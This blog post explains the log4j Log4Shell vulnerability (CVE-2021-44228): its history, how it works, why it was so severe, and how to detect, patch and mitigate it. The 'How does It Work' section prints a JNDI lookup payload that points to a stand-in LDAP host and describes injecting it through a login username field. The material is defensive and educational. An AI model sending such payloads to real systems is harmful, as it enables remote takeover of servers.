log4shell - log4j Remote Code Execution Vulnerability (CVE-2021-44228) Explained
On December 9th 2021 the internet was about to collapse. A zero-day Remote Code Execution (RCE) vulnerability was disclosed in log4j, one of the most widely used Java logging frameworks. The simplicity of the exploit and the prevalence of vulnerable systems across the world made it one of the most severe and prominent vulnerabilities the world has ever seen.
In this post I will explain in simple words what is an RCE vulnerability, how the log4j vulnerability (named log4shell, or more officially "CVE-2021-44228) made happen and how it can be exploited, and finally how it can be mitigated to eliminate the risk.
What's an RCE Vulnerability
Remote Code Execution, a subtype of Arbitrary Code Execution, is a type of vulnerability whereby an attacker remotely executes commands on someone else's computer. The ability to run code on a target machine practically gives an attacker high level of control and up to full control on the target machine.
Remote Code Execution typically happens due to lack of proper input sanitation (or a complete absence of such) which allows an attacker to inject code as an input, which is then stored and executed on the target machine.
And this was the case with log4shell. But in order to understand how all this happened, let's jump a few years back for some history.
A Little Piece of History
Back in 2013 a "new Jira issue" was created under the log4j Jira by a developer named Woonsan Ko, with a patch adding new functionality. The issue, named JNDI Lookup plugin support added the ability to resolve parameters in log prints by making runtime lookups through the Java Naming and Directory Interface (JNDI). In other words, developers could then print parameters into log lines, and have them resolved at runtime by making a call to an external Directory Service. And this functionality was allowed by default. Little did he know what a top level vulnerability he was introducing with his change.
On November 24th 2021 Chen Zhaojun, a Security researcher from the Alibaba Cloud's security team privately disclosed the log4shell vulnerability to the Apache Software Foundation, which then followed by a public disclosure on December 9th.
How does It Work
So how does the log4shell actually work? let's take a look at a simple example hat will demonstrate how one can exploit the vulnerability.
As explained before, parameters in log prints could be resolved at runtime by making a JNDI lookup. Let's look at the following string:
${jndi:ldap://someurl/somefile}If that string would be printed to the log using log4j, the logging framework would resolve this print by making an "LDAP" query to the given url. The LDAP server in turn, returns some file which in turn get executed on the machine that printed the above string to the log. And so an attacker could have set up a designated LDAP server serving malicious code in return to the above said LDAP query.
The only thing left now, is for the attacker to print this log line. Or more precisely, to make the vulnerable system to print this string to the log. Sounds like a not-so-trivial task, but if we think about it, it's actually pretty simple. Let's think of a login page. When a user maing a login attempt, the system will usually log this login attempt, specifying the user name. And so attacker could input the above string as the username, and this will get logged, which will cause the attacked system to make a call to the attacker's LDAP server which will return the malicious code which will be executed on the attacked system. Once the malicious code is executed, the attacker can open a backdoor for itself to gain continuous free access to that system.
Why is it So Bad
What actually makes this vulnerability one of (if not THE) biggest vulnerabilities that world has known?
First, it's the tremendous popularity of the log4j logging framework. Many of the Java web frameworks use log4j by default as its logging framework. this means that even if you aren't using log4j directly in your application, you may still be vulnerable since your infrastructure uses it. It is enough to look at one of the various exhaustive lists of vulnerable software (such as "this one" maintained by the US government) to see the amount of vulnerable vendors, including the biggest internet and cloud infrastructure providers such as AWS and Microsoft Azure. A simple "Shodan" search reveals millions of vulnerable systems connected to the internet.
Second, because of the simplicity of the exploit. It is enough to make a simple HTTP request to a vulnerable system, without any authentication or authorization required, to take over that system.
And lastly, due to the severe impact on the attacked system. A successful exploit, as easy as we've seen above, results in the ability of the attacker to continuously execute code on the compromised system.
The combination of these 3 factors makes it easy for attackers to exploit en masse, taking over hundreds of thousands of vulnerable systems.
How to Detect If Your Servers Are Affected
There are many ways to identify if a given system is affected by log4shell.
first option is to look at the dependency files of your application and look for the vulnerable versions (2.0 through 2.17.0). This will give you a first hint in case you're directly using log4j in your application.
But that's far from being enough. According to "SNYK" 60% of the Java projects they're monitoring are using log4j as in indirect dependency. and so just looking at the dependency files won't help in most cases.
The better option, which only available if you have access to the application source code, is to run a Software Composition Analysis tool (SCA) tool ("SNYK" has one but many other vendors offer such tools as well) to scan your application for usage of log4j. As I explained in my article on "Dependency Scanning" these tools scan not only for direct dependencies but also for indirect dependencies and so even if one of the libraries you use in your application is using log4j by itself, the SCA tool will find it for you.
But there are also cases when you don't have access to the application code. This typically happen when you use an off the shelf tool, which happen to use log4j. In that case, you can go to the vendor's website to get their response, or simply browse one of the many exhaustive lists of vendors and their vulnerability status such as "this one".
How to Patch Affected Server
So you've found that some of your servers are affected. Now what?
The best way, by all means, is to upgrade the log4j dependency to version 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later). This will make sure you're protected from this RCE. This should be fairly easy, once you've identified all your vulnerable applications, which is by itself not a simple task. And it requires you to access the application code. But what if you don't have access to the code? If it's because you're using an off the shelf product, then look on the vendor's website for a patch, and update your application to the latest patch.
In case you have a legacy application which you cannot access the code, the situation is sub-optimal. There are some "vaccine" like solutions, such as "this one" by the EDR vendor Cybereason. You can also use a WAF to filter requests containing malicious payload, but that's only if you already have a WAF or willing to install one. And with the way we see "WAF Bypass" for log4shell, it is probably not the best solution. Another possible solution is to block LDAP requests outside your org network. that way even if the malicious payload is evaluated by the JNDI, the request to the malicious LDAP is blocked on the way out. However, all these solutions do not provide full protection and are only preventing steps towards a full solution.
What's Next?
If you haven't already, go and scan you applications to assess the risk. Find the vulnerable ones and patch them to make sure you're secured. And take this as a lesson for the importance of integrating early stage appsec gates such as SCA, SAST and other application testing tools to find and fix security issues as early as possible. These tools may have not protect you from log4shell as it was a zero day vulnerability, but they can still keep you safe from many other vulnerabilities in the future.
